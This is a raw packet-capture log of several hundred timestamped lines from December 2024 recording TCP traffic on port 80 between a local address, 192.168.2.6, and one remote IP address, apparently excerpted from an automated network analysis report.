Dec 18, 2024 12:00:10.883914948 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.884826899 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.884918928 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.884964943 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.885078907 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.886197090 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.886254072 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.886297941 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.886313915 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.887526035 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.887583971 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.887716055 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.887793064 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.888824940 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.888883114 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.888943911 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.889046907 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.890126944 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.890269995 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.890321016 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.890321016 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.891480923 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.891556978 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.891582966 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.891614914 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.892740965 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.892812967 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.892855883 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.892950058 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.893960953 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.894043922 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.894053936 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.894125938 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.895237923 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.895330906 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.895356894 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.895430088 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.896568060 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.896727085 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.896744967 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.897093058 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.897842884 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.897898912 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.897932053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.898025990 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.899090052 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.899195910 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.899235010 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.899235010 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.900329113 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.900584936 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.900584936 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.900652885 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.901602983 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.901678085 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.901717901 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.901809931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.902817011 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.902887106 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.902909994 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.902970076 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.904139042 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.904230118 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.904267073 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.904652119 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.905286074 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.905421019 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.905487061 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.905723095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.906467915 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.906567097 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.906579971 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.906718969 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.907767057 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.907830000 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.907922983 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.908792973 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.908941031 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.908997059 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.908997059 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.909995079 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.910149097 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.910222054 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.911223888 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.911345005 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.911370039 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.911427975 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.912424088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.912566900 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.912570000 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.912622929 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.913557053 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.913659096 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.913827896 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.913888931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.914807081 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.914992094 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.915025949 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.915124893 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.915934086 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.916085958 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.916099072 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.916199923 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.917139053 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.917195082 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.917227030 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.917385101 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.918378115 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.918538094 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.918561935 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.918698072 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.919574976 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.919656992 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.919694901 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.919888973 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.920753956 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.920917988 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.920964003 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.920964003 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.921894073 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.921973944 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.922009945 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.922131062 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.923078060 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.923182011 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.923193932 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.923335075 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.924362898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.924463987 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.924484968 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.924562931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.925486088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.925544024 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.925683975 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.925913095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.926886082 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.926992893 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.927042007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.927042007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.928126097 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.928241968 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.928256989 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.928313971 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.929064989 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.929141045 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.929152012 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.929469109 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.930443048 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.930502892 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.930541039 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.930586100 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.931591034 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.931665897 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.931709051 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.931709051 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.954319000 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.954401970 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.954511881 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.955032110 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.955271006 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.955284119 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.955334902 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.956113100 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.956134081 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.956156015 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.956208944 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.956208944 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.078953028 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.078972101 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.078999043 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.079010963 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.079116106 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.079116106 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.081458092 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.081473112 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.081527948 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.081664085 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.083653927 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.083668947 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.083724976 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.083724976 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.085882902 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.085896015 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.085963011 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.085963011 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.089029074 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.089041948 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.089572906 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.093509912 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.093533039 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.093568087 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.093914032 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.095319986 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.095453024 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.095920086 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.096107006 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.098268986 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.098282099 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.098400116 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.099966049 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.099988937 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.100003004 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.100016117 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.100068092 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.100068092 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.103662014 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.103677034 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.103915930 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.104444981 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.104458094 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.105093956 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.105503082 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.105515957 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.105554104 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.107203007 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.107215881 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.107333899 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.109256029 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.109289885 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.109402895 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.109402895 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.111568928 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.111587048 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.111622095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.111684084 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.113488913 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.113918066 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.114634037 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.115339041 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.116348028 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.116363049 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.116432905 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.117326021 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.117338896 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.117383957 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.119884968 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.119899988 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.120105028 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.120924950 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.120940924 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.121566057 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.123735905 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.123795986 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.124643087 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.126192093 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.126240015 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.126240015 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.127149105 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.127335072 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.128076077 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.128091097 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.128774881 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.128788948 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.128803015 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.128838062 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.129451036 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.129493952 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.129497051 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.129558086 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.130786896 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.130801916 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.131339073 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.131623983 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.131637096 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.132091999 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.133510113 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.133533955 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.133574963 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.133622885 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.133622885 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.134213924 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.134912968 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.135715008 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.135730982 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.135780096 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.137290955 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.137309074 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.137947083 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.138006926 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.138020039 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.138031006 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.138067007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.138067007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.138673067 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.138689995 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.138742924 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.138742924 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.139630079 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.139642000 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.139663935 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.139724016 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.139724016 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.140479088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.140492916 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.140505075 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.140530109 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.140573025 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.140573025 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.141275883 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.141304016 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.141316891 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.141355038 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.141355038 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.141417027 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.142189026 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.142200947 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.142311096 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.143229961 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.143244028 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.143307924 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.143307924 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.143851995 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.143867970 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.143917084 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.143917084 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.144789934 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.144886971 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.145663977 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.145678997 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.145689011 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.145735025 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.145735025 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.146604061 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.146617889 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.146691084 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.147540092 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.147557020 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.147568941 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.147582054 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.147607088 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.147655010 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.148250103 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.148298979 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.148334026 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.148334026 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.149190903 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.149315119 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:11.149378061 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.149394035 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:11.149405956 CET	80	49914	185.215.113.16	192.168.2.6
